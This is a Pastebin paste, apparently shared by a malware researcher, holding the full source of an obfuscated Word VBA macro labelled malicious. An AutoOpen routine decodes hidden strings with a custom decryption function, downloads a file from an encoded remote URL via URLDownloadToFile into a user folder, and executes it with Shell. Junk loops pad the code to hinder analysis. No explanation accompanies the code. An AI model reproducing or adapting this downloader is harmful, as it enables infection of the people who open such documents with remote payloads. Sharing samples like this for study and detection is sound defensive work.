Advertisement
dynamoo

Malicious Word macro

Jan 23rd, 2015
506
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  11.     "URLDownloadToFileA" (ByVal fYUGUdsf As LongPtr, _
  12.     ByVal oGYUdsf As String, _
  13.     ByVal dTYIdsf As String, _
  14.     ByVal pJIUdsffwe As Long, _
  15.     ByVal DGUvskdf As LongPtr) As LongPtr
  16. #Else
  17.     Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  18.     "URLDownloadToFileA" (ByVal fYUGUdsf As Long, _
  19.     ByVal oGYUdsf As String, _
  20.     ByVal dTYIdsf As String, _
  21.     ByVal pJIUdsffwe As Long, _
  22.     ByVal DGUvskdf As Long) As Long
  23. #End If
  24.  
  25. Sub EOTMli()
  26.  YTH
  27. End Sub
  28. Sub ruYKWpkmCl()
  29.      EOTMli
  30. End Sub
  31. Sub autoopen()
  32.      EOTMli
  33. End Sub
  34. Sub YTH()
  35.  wm6Cn4I iojlO6O("HLIY3Nf3z2k8jD37h1n2OM3N712DGQ3c5M841RZ8C5e6P1C50C4ym1oF504WyV182p4mJ16cK9Z61l47h2dU1rVB5V681sFY728i16H3E2Qm1fn47y2cgAo156j8T1s600hukKO1568X1xE4Z7d2q17jvcwgk816Yz32o9Q216Mpr0B01vcwg856a17b9j2zAmWf1536B1t7d92rI1FZ5E36Pu1jl504Z34tm2R43i55Lg2F3eLE3T28lLX1D504348Goe8Gbdp37w443ADy36X0h14g7Wb2G3u584kEG332Ut8ws3wO584pzSTf"), Environ(iojlO6O("C3iY1epSRGe6q8g15xStVesdG717MAlg2H4hmV1vkL6Glnf0cknj")) & iojlO6O("YNPH1W47E211z3P6142cM4115K2J1696CURf1712N1OCJwc0w6Z16840Z1r600W16Z3273k6SR16Bf161Q92a016Vr16V1pc")
  36. End Sub
  37. Function wm6Cn4I(iGHVHJfdg As String, oH77vHsdf As String) As Boolean
  38.     vJHKBJdfkgfg = URLDownloadToFile(0&, iGHVHJfdg, oH77vHsdf, 0&, 0&)
  39. Dim OUOQsP4IpX As Integer
  40. OUOQsP4IpX = 3
  41. Do While OUOQsP4IpX < 3 + 3
  42. OUOQsP4IpX = OUOQsP4IpX + 7: DoEvents
  43. Loop
  44.    Dim pHJdfgfdgf
  45. Dim f6aKcI As Integer
  46. f6aKcI = 6
  47. Do While f6aKcI < 6 + 3
  48. f6aKcI = f6aKcI + 8: DoEvents
  49. Loop
  50.     pHJdfgfdgf = Shell(oH77vHsdf, 1)
  51. Dim kjZ4A As Integer
  52. kjZ4A = 6
  53. Do While kjZ4A < 6 + 4
  54. kjZ4A = kjZ4A + 6: DoEvents
  55. Loop
  56. End Function
  57.  
  58. Function iojlO6O(InputStringToBeDecrypted As String) As String
  59. Dim BFRFodbSS As String
  60. Dim W0Iv As Integer
  61. For W0Iv = 3 To 9 + 7
  62. DoEvents
  63. Next W0Iv
  64.  
  65. Dim JcXLnYVnTT As String
  66. Dim DSKb6AkhAff As Integer
  67. DSKb6AkhAff = 7
  68. Do While DSKb6AkhAff < 7 + 9
  69. DSKb6AkhAff = DSKb6AkhAff + 7: DoEvents
  70. Loop
  71. Dim E5EP8a As String
  72. Dim b1EET4IG As Integer
  73. b1EET4IG = 9
  74. Do While b1EET4IG < 9 + 7
  75. b1EET4IG = b1EET4IG + 4: DoEvents
  76. Loop
  77. Dim qLFtWGD As String
  78. Dim UeaA6asynZ As Integer
  79. For UeaA6asynZ = 4 To 7 + 4
  80. DoEvents
  81. Next UeaA6asynZ
  82.  
  83. Dim BC2AtsUi As String
  84. Dim oVtcCeae As Integer
  85. For oVtcCeae = 3 To 5 + 6
  86. DoEvents
  87. Next oVtcCeae
  88.  
  89. Dim ZsnbE As Integer
  90. Dim IBRZ1IEJCoQ As Integer
  91. For IBRZ1IEJCoQ = 5 To 7 + 3
  92. DoEvents
  93. Next IBRZ1IEJCoQ
  94.  
  95. Dim JpBv4aSO3Oj As Integer
  96. Dim cF5UKURq As Integer
  97. For cF5UKURq = 1 To 8 + 4
  98. DoEvents
  99. Next cF5UKURq
  100.  
  101. On Error GoTo ErrorHandler
  102. Dim EJL As Integer
  103. For EJL = 3 To 4 + 2
  104. DoEvents
  105. Next EJL
  106.  
  107. strTempText = InputStringToBeDecrypted
  108. Dim VZS1 As Integer
  109. VZS1 = 4
  110. Do While VZS1 < 4 + 8
  111. VZS1 = VZS1 + 1: DoEvents
  112. Loop
  113. BFRFodbSS = strTempText
  114. Dim B5IKZSvFWtN As Integer
  115. For B5IKZSvFWtN = 2 To 7 + 1
  116. DoEvents
  117. Next B5IKZSvFWtN
  118.  
  119. JcXLnYVnTT = ""
  120. Dim BWfjNMbhw As Integer
  121. For BWfjNMbhw = 3 To 2 + 8
  122. DoEvents
  123. Next BWfjNMbhw
  124.  
  125. BFRFodbSS = Left(BFRFodbSS, Len(BFRFodbSS) - 4)
  126. Dim XpVWjFO As Integer
  127. XpVWjFO = 6
  128. Do While XpVWjFO < 6 + 4
  129. XpVWjFO = XpVWjFO + 5: DoEvents
  130. Loop
  131. BFRFodbSS = Right(BFRFodbSS, Len(BFRFodbSS) - 4)
  132. Dim tNIyYJkD As Integer
  133. tNIyYJkD = 6
  134. Do While tNIyYJkD < 6 + 7
  135. tNIyYJkD = tNIyYJkD + 3: DoEvents
  136. Loop
  137. nCharSize = 0
  138. Dim ZC3IG4UtB As Integer
  139. For ZC3IG4UtB = 7 To 4 + 5
  140. DoEvents
  141. Next ZC3IG4UtB
  142.  
  143. Call Bywa8afpl(BFRFodbSS, nCharSize)
  144. Dim heEncb As Integer
  145. For heEncb = 1 To 4 + 8
  146. DoEvents
  147. Next heEncb
  148.  
  149. Call Uokn3YefmDL(BFRFodbSS, nCharSize, nEncKey)
  150. Dim ouoqT7Y As Integer
  151. For ouoqT7Y = 4 To 9 + 1
  152. DoEvents
  153. Next ouoqT7Y
  154.  
  155. nTextLenght = Len(BFRFodbSS)
  156. Dim vXcXZC4I As Integer
  157. For vXcXZC4I = 7 To 5 + 8
  158. DoEvents
  159. Next vXcXZC4I
  160.  
  161. For nCounter = 1 To Len(BFRFodbSS) Step nCharSize
  162. Dim Es7Etfr As Integer
  163. For Es7Etfr = 8 To 3 + 9
  164. DoEvents
  165. Next Es7Etfr
  166.  
  167. qLFtWGD = Mid(BFRFodbSS, nCounter, nCharSize)
  168. Dim HRWPCdt8a As Integer
  169. For HRWPCdt8a = 7 To 6 + 7
  170. DoEvents
  171. Next HRWPCdt8a
  172.  
  173. nChar = aqySdibO(qLFtWGD)
  174. Dim ksYh2UW As Integer
  175. For ksYh2UW = 5 To 2 + 9
  176. DoEvents
  177. Next ksYh2UW
  178.  
  179. nChar2 = nChar / nEncKey
  180. Dim T3A62OAuvLyG As Integer
  181. T3A62OAuvLyG = 4
  182. Do While T3A62OAuvLyG < 4 + 3
  183. T3A62OAuvLyG = T3A62OAuvLyG + 8: DoEvents
  184. Loop
  185. BC2AtsUi = Chr(nChar2)
  186. Dim FZjm3PekC As Integer
  187. FZjm3PekC = 4
  188. Do While FZjm3PekC < 4 + 2
  189. FZjm3PekC = FZjm3PekC + 9: DoEvents
  190. Loop
  191. JcXLnYVnTT = JcXLnYVnTT + BC2AtsUi
  192. Dim Z4OvQLLqA As Integer
  193. For Z4OvQLLqA = 2 To 6 + 6
  194. DoEvents
  195. Next Z4OvQLLqA
  196.  
  197. Next nCounter
  198. Dim omFj As Integer
  199. omFj = 9
  200. Do While omFj < 9 + 5
  201. omFj = omFj + 5: DoEvents
  202. Loop
  203. Dim lyBtg As Integer
  204. For lyBtg = 7 To 2 + 4
  205. DoEvents
  206. Next lyBtg
  207.  
  208. Dim ADgS As Integer
  209. ADgS = 6
  210. Do While ADgS < 6 + 6
  211. ADgS = ADgS + 9: DoEvents
  212. Loop
  213. JcXLnYVnTT = Trim(JcXLnYVnTT)
  214. Dim FWtakhHqfe As Integer
  215. FWtakhHqfe = 1
  216. Do While FWtakhHqfe < 1 + 4
  217. FWtakhHqfe = FWtakhHqfe + 9: DoEvents
  218. Loop
  219.  iojlO6O = JcXLnYVnTT
  220. Dim rwsuXtEW As Integer
  221. rwsuXtEW = 1
  222. Do While rwsuXtEW < 1 + 1
  223. rwsuXtEW = rwsuXtEW + 7: DoEvents
  224. Loop
  225. Exit Function
  226. ErrorHandler:
  227. Dim gfVj As Integer
  228. For gfVj = 1 To 5 + 5
  229. DoEvents
  230. Next gfVj
  231.  
  232. End Function
  233.  
  234.  
  235. Sub Bywa8afpl(ByRef BFRFodbSS, ByRef nCharSize)
  236. Dim dAL As Integer
  237. dAL = 1
  238. Do While dAL < 1 + 3
  239. dAL = dAL + 5: DoEvents
  240. Loop
  241. DecryptParts = DecryptParts & "/ Bywa8afpl/"
  242. Dim UTJJBQ4Oj As Integer
  243. UTJJBQ4Oj = 9
  244. Do While UTJJBQ4Oj < 9 + 3
  245. UTJJBQ4Oj = UTJJBQ4Oj + 3: DoEvents
  246. Loop
  247. nLeft = Len(BFRFodbSS) \ 2
  248. Dim qdFa4aKKPRX As Integer
  249. For qdFa4aKKPRX = 3 To 8 + 4
  250. DoEvents
  251. Next qdFa4aKKPRX
  252.  
  253. strLeft = Left(BFRFodbSS, nLeft)
  254. Dim CRJn As Integer
  255. CRJn = 7
  256. Do While CRJn < 7 + 9
  257. CRJn = CRJn + 1: DoEvents
  258. Loop
  259. Dim LEqE As Integer
  260. For LEqE = 5 To 8 + 1
  261. DoEvents
  262. Next LEqE
  263.  
  264. nRight = Len(BFRFodbSS) - nLeft
  265. Dim yLE As Integer
  266. For yLE = 6 To 7 + 6
  267. DoEvents
  268. Next yLE
  269.  
  270. strRight = Right(BFRFodbSS, nRight)
  271. Dim Udg As Integer
  272. Udg = 7
  273. Do While Udg < 7 + 3
  274. Udg = Udg + 7: DoEvents
  275. Loop
  276. Dim ZmI3E1kvQL As Integer
  277. ZmI3E1kvQL = 7
  278. Do While ZmI3E1kvQL < 7 + 1
  279. ZmI3E1kvQL = ZmI3E1kvQL + 8: DoEvents
  280. Loop
  281. strKeyEnc = Right(strLeft, 2)
  282. Dim VpA0A As Integer
  283. VpA0A = 6
  284. Do While VpA0A < 6 + 2
  285. VpA0A = VpA0A + 4: DoEvents
  286. Loop
  287. strKeySize = Left(strRight, 2)
  288. Dim hKtqJop0hg As Integer
  289. hKtqJop0hg = 7
  290. Do While hKtqJop0hg < 7 + 6
  291. hKtqJop0hg = hKtqJop0hg + 8: DoEvents
  292. Loop
  293. strKeyEnc = OsgHcYbTqR(strKeyEnc)
  294. Dim VCNJiSHGyy As Integer
  295. For VCNJiSHGyy = 2 To 1 + 4
  296. DoEvents
  297. Next VCNJiSHGyy
  298.  
  299. strKeySize = OsgHcYbTqR(strKeySize)
  300. Dim h2afbKjh As Integer
  301. For h2afbKjh = 3 To 2 + 2
  302. DoEvents
  303. Next h2afbKjh
  304.  
  305. nKeyEnc = Val(strKeyEnc)
  306. Dim CEg0 As Integer
  307. For CEg0 = 3 To 2 + 4
  308. DoEvents
  309. Next CEg0
  310.  
  311. nKeySize = Val(strKeySize)
  312. Dim uY1ATZq8Elv As Integer
  313. uY1ATZq8Elv = 4
  314. Do While uY1ATZq8Elv < 4 + 1
  315. uY1ATZq8Elv = uY1ATZq8Elv + 6: DoEvents
  316. Loop
  317. nCharSize = nKeySize - nKeyEnc
  318. Dim HrE4UrjT As Integer
  319. HrE4UrjT = 8
  320. Do While HrE4UrjT < 8 + 6
  321. HrE4UrjT = HrE4UrjT + 4: DoEvents
  322. Loop
  323. BFRFodbSS = Left(strLeft, Len(strLeft) - 2) + Right(strRight, Len(strRight) - 2)
  324. Dim GB0E5ANRLwL As Integer
  325. GB0E5ANRLwL = 1
  326. Do While GB0E5ANRLwL < 1 + 6
  327. GB0E5ANRLwL = GB0E5ANRLwL + 8: DoEvents
  328. Loop
  329. End Sub
  330.  
  331. Function OsgHcYbTqR(ByVal cString As String) As String
  332. DecryptParts = DecryptParts & "/ OsgHcYbTqR/"
  333. Dim J1OA3amu As Integer
  334. J1OA3amu = 6
  335. Do While J1OA3amu < 6 + 3
  336. J1OA3amu = J1OA3amu + 3: DoEvents
  337. Loop
  338. For nCounter = 1 To Len(cString)
  339. Dim KKYs0aK2a As Integer
  340. For KKYs0aK2a = 3 To 7 + 6
  341. DoEvents
  342. Next KKYs0aK2a
  343.  
  344. qLFtWGD = Mid(cString, nCounter, 1)
  345. Dim UAJ7OQ As Integer
  346. UAJ7OQ = 9
  347. Do While UAJ7OQ < 9 + 4
  348. UAJ7OQ = UAJ7OQ + 5: DoEvents
  349. Loop
  350. If IsNumeric(qLFtWGD) Then
  351. Dim pDYhkP0IKC As Integer
  352. For pDYhkP0IKC = 5 To 4 + 3
  353. DoEvents
  354. Next pDYhkP0IKC
  355.  
  356. Dim JNq As Integer
  357. JNq = 9
  358. Do While JNq < 9 + 6
  359. JNq = JNq + 8: DoEvents
  360. Loop
  361. strTempString = strTempString + qLFtWGD
  362. Dim Y1IM As Integer
  363. For Y1IM = 7 To 7 + 3
  364. DoEvents
  365. Next Y1IM
  366.  
  367. Else
  368. strTempString = strTempString + "0"
  369. Dim uqtlKjp As Integer
  370. For uqtlKjp = 8 To 7 + 2
  371. DoEvents
  372. Next uqtlKjp
  373.  
  374. End If
  375. Next nCounter
  376. Dim omFj As Integer
  377. omFj = 9
  378. Do While omFj < 9 + 5
  379. omFj = omFj + 5: DoEvents
  380. Loop
  381. Dim lyBtg As Integer
  382. For lyBtg = 7 To 2 + 4
  383. DoEvents
  384. Next lyBtg
  385.  
  386. Dim ADgS As Integer
  387. ADgS = 6
  388. Do While ADgS < 6 + 6
  389. ADgS = ADgS + 9: DoEvents
  390. Loop
  391.  OsgHcYbTqR = strTempString
  392. Dim Ygw3U As Integer
  393. Ygw3U = 1
  394. Do While Ygw3U < 1 + 7
  395. Ygw3U = Ygw3U + 3: DoEvents
  396. Loop
  397. End Function
  398.  
  399. Function aqySdibO(strTempText As String) As Integer
  400. DecryptParts = DecryptParts & "/ aqySdibO/"
  401. Dim jK1ErdpJEG As Integer
  402. For jK1ErdpJEG = 7 To 4 + 4
  403. DoEvents
  404. Next jK1ErdpJEG
  405.  
  406. strTempText = Trim(strTempText)
  407. Dim eNm6a As Integer
  408. For eNm6a = 3 To 9 + 3
  409. DoEvents
  410. Next eNm6a
  411.  
  412. For nCounter = 1 To Len(strTempText)
  413. Dim NrASoI As Integer
  414. NrASoI = 1
  415. Do While NrASoI < 1 + 6
  416. NrASoI = NrASoI + 9: DoEvents
  417. Loop
  418. qLFtWGD = Mid(strTempText, nCounter, 1)
  419. Dim ZP2IG4UtB As Integer
  420. For ZP2IG4UtB = 7 To 4 + 5
  421. DoEvents
  422. Next ZP2IG4UtB
  423.  
  424. If IsNumeric(qLFtWGD) Then
  425. Dim pDYhkP0IKC As Integer
  426. For pDYhkP0IKC = 5 To 4 + 3
  427. DoEvents
  428. Next pDYhkP0IKC
  429.  
  430. Dim JNq As Integer
  431. JNq = 9
  432. Do While JNq < 9 + 6
  433. JNq = JNq + 8: DoEvents
  434. Loop
  435. BFRFodbSS = BFRFodbSS + qLFtWGD
  436. Dim rXXl1EOq As Integer
  437. For rXXl1EOq = 9 To 2 + 7
  438. DoEvents
  439. Next rXXl1EOq
  440.  
  441. End If
  442. Next nCounter
  443. Dim omFj As Integer
  444. omFj = 9
  445. Do While omFj < 9 + 5
  446. omFj = omFj + 5: DoEvents
  447. Loop
  448. Dim lyBtg As Integer
  449. For lyBtg = 7 To 2 + 4
  450. DoEvents
  451. Next lyBtg
  452.  
  453. Dim ADgS As Integer
  454. ADgS = 6
  455. Do While ADgS < 6 + 6
  456. ADgS = ADgS + 9: DoEvents
  457. Loop
  458. nResult = Val(BFRFodbSS)
  459. Dim uk6aIOIKnKU As Integer
  460. For uk6aIOIKnKU = 8 To 8 + 4
  461. DoEvents
  462. Next uk6aIOIKnKU
  463.  
  464.  aqySdibO = nResult
  465. Dim YWv As Integer
  466. For YWv = 9 To 9 + 1
  467. DoEvents
  468. Next YWv
  469.  
  470. End Function
  471.  
  472. Sub Uokn3YefmDL(ByRef BFRFodbSS, ByVal nCharSize, ByRef nEncKey)
  473. Dim PeX7ItQ As Integer
  474. For PeX7ItQ = 7 To 5 + 4
  475. DoEvents
  476. Next PeX7ItQ
  477.  
  478. DecryptParts = DecryptParts & "/ Uokn3YefmDL/"
  479. Dim qSm As Integer
  480. qSm = 3
  481. Do While qSm < 3 + 7
  482. qSm = qSm + 3: DoEvents
  483. Loop
  484. strEncKey = vbNullString
  485. Dim yLR As Integer
  486. For yLR = 6 To 7 + 6
  487. DoEvents
  488. Next yLR
  489.  
  490. ZsnbE = Len(BFRFodbSS) - nCharSize
  491. Dim YAV3EFG2aQK As Integer
  492. YAV3EFG2aQK = 7
  493. Do While YAV3EFG2aQK < 7 + 3
  494. YAV3EFG2aQK = YAV3EFG2aQK + 8: DoEvents
  495. Loop
  496. nLeft = ZsnbE \ 2
  497. Dim VDaJi As Integer
  498. For VDaJi = 3 To 6 + 9
  499. DoEvents
  500. Next VDaJi
  501.  
  502. strLeft = Left(BFRFodbSS, nLeft)
  503. Dim CRJn As Integer
  504. CRJn = 7
  505. Do While CRJn < 7 + 9
  506. CRJn = CRJn + 1: DoEvents
  507. Loop
  508. Dim LEqE As Integer
  509. For LEqE = 5 To 8 + 1
  510. DoEvents
  511. Next LEqE
  512.  
  513. nRight = ZsnbE - nLeft
  514. Dim aE7AS4EF As Integer
  515. aE7AS4EF = 9
  516. Do While aE7AS4EF < 9 + 7
  517. aE7AS4EF = aE7AS4EF + 3: DoEvents
  518. Loop
  519. strRight = Right(BFRFodbSS, nRight)
  520. Dim Udg As Integer
  521. Udg = 7
  522. Do While Udg < 7 + 3
  523. Udg = Udg + 7: DoEvents
  524. Loop
  525. Dim ZmI3E1kvQL As Integer
  526. ZmI3E1kvQL = 7
  527. Do While ZmI3E1kvQL < 7 + 1
  528. ZmI3E1kvQL = ZmI3E1kvQL + 8: DoEvents
  529. Loop
  530. strEncKey = Mid(BFRFodbSS, nLeft + 1, nCharSize)
  531. Dim WDMsR As Integer
  532. WDMsR = 4
  533. Do While WDMsR < 4 + 1
  534. WDMsR = WDMsR + 4: DoEvents
  535. Loop
  536. strEncKey = OsgHcYbTqR(strEncKey)
  537. Dim JVpjYB As Integer
  538. For JVpjYB = 7 To 7 + 2
  539. DoEvents
  540. Next JVpjYB
  541.  
  542. nEncKey = Val(Trim(strEncKey))
  543. Dim Dr7EGrE As Integer
  544. For Dr7EGrE = 8 To 3 + 9
  545. DoEvents
  546. Next Dr7EGrE
  547.  
  548. BFRFodbSS = strLeft + strRight
  549. Dim GQiOBcw8 As Integer
  550. For GQiOBcw8 = 9 To 7 + 8
  551. DoEvents
  552. Next GQiOBcw8
  553.  
  554. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement